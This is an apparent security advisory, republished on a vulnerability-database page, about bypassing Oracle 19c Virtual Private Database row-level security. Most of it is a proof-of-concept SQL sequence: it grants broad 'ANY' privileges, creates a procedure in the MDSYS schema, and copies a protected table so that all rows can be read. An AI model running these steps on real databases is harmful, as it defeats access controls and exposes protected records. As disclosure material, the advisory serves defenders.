Lucene search
K

Breaking Oracle Database VPD Through DDL Permissions In 19c

🗓️ 09 Sep 2024 00:00:00Reported by Emad Al-MousaType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 309 Views

Breaking Oracle Database VPD in 19c by exploiting DDL permission

Code
`Title: Breaking Oracle Database VPD (Virtual Private Database) Through DDL Permissions in 19c  
Product: Database  
Manufacturer: Oracle  
Affected Version(s): 19c  
Tested Version(s): 19c  
Risk Level: Low  
Author of Advisory: Emad Al-Mousa  
  
  
*****************************************  
Vulnerability Details:  
  
By design VPD security feature protects against any database account that is not granted EXEMPT ACCESS POLICY from viewing the complete database rows within the table in addition of course to DBA role which I am going to tackle at the end.  
  
However, this security feature will not protect against accounts with DDL permissions especially an account granted the following permissions: create any procedure, execute any procedure, select any table  
  
For VPD simulation you can follow steps in this link: https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/  
  
  
*****************************************  
Proof of Concept (PoC):  
  
sqlplus / as sysdba  
  
SQL> alter session set container=PDB1  
  
SQL> CREATE USER owoods IDENTIFIED BY owoods  
  
DEFAULT TABLESPACE users TEMPORARY TABLESPACE temp;  
  
SQL> GRANT connect, resource, create any procedure, execute any procedure, select any table  
  
to owoods;  
  
SQL> GRANT READ ON sh1.customers TO owoods;  
  
SQL> exit;  
  
sqlplus owoods/owoods@PDB1  
  
SQL> grant read on sh1.orders_tab to public;  
  
SQL>CREATE OR REPLACE PROCEDURE MDSYS.fetch_data AS  
  
vsql VARCHAR2(4000);  
  
BEGIN  
  
vsql := 'create table MDSYS.orders_tab_copy2 as select * from sh1.orders_tab ';  
  
EXECUTE IMMEDIATE vsql;  
  
END;  
  
/  
  
SQL> exec MDSYS.fetch_data;  
  
SQL> select * from MDSYS.orders_tab_copy2;  
  
CUST_NO ORDER_NO  
  
———- ———-  
  
1234 9876  
  
5678 5432  
  
  
  
  
All rows were successfully extracted from the table (the ones by default owoods account have no access to).  
  
Another important thing to consider is “DBA” role behaviour….EXEMPT ACCESS POLICY system privilege is not part of DBA role so be careful because DBA role implicitly has GRANT ANY PRIVILEGE system privilege which enables the DBA account to gran it any way.  
  
  
  
*****************************************  
References:  
https://docs.oracle.com/en/database/oracle/oracle-database/19/dbseg/using-oracle-vpd-to-control-data-access.html#GUID-7FFB40CB-E421-4FE4-8344-29D91360EFAD  
https://geodatamaster.com/2024/09/04/oracle-vpd-virtual-private-database-row-level-security-in-19c-and-23ai/  
https://databasesecurityninja.wordpress.com/2024/09/07/breaking-oracle-database-vpd-virtual-private-database-through-ddl-permissions-in-19c/  
https://databasesecurityninja.wordpress.com/2024/09/04/oracle-database-exempt-access-policy-not-logged-for-sys-account-in-unified-audit-log-ora_secureconfig/  
  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Sep 2024 00:00Current
7.4High risk
Vulners AI Score7.4
309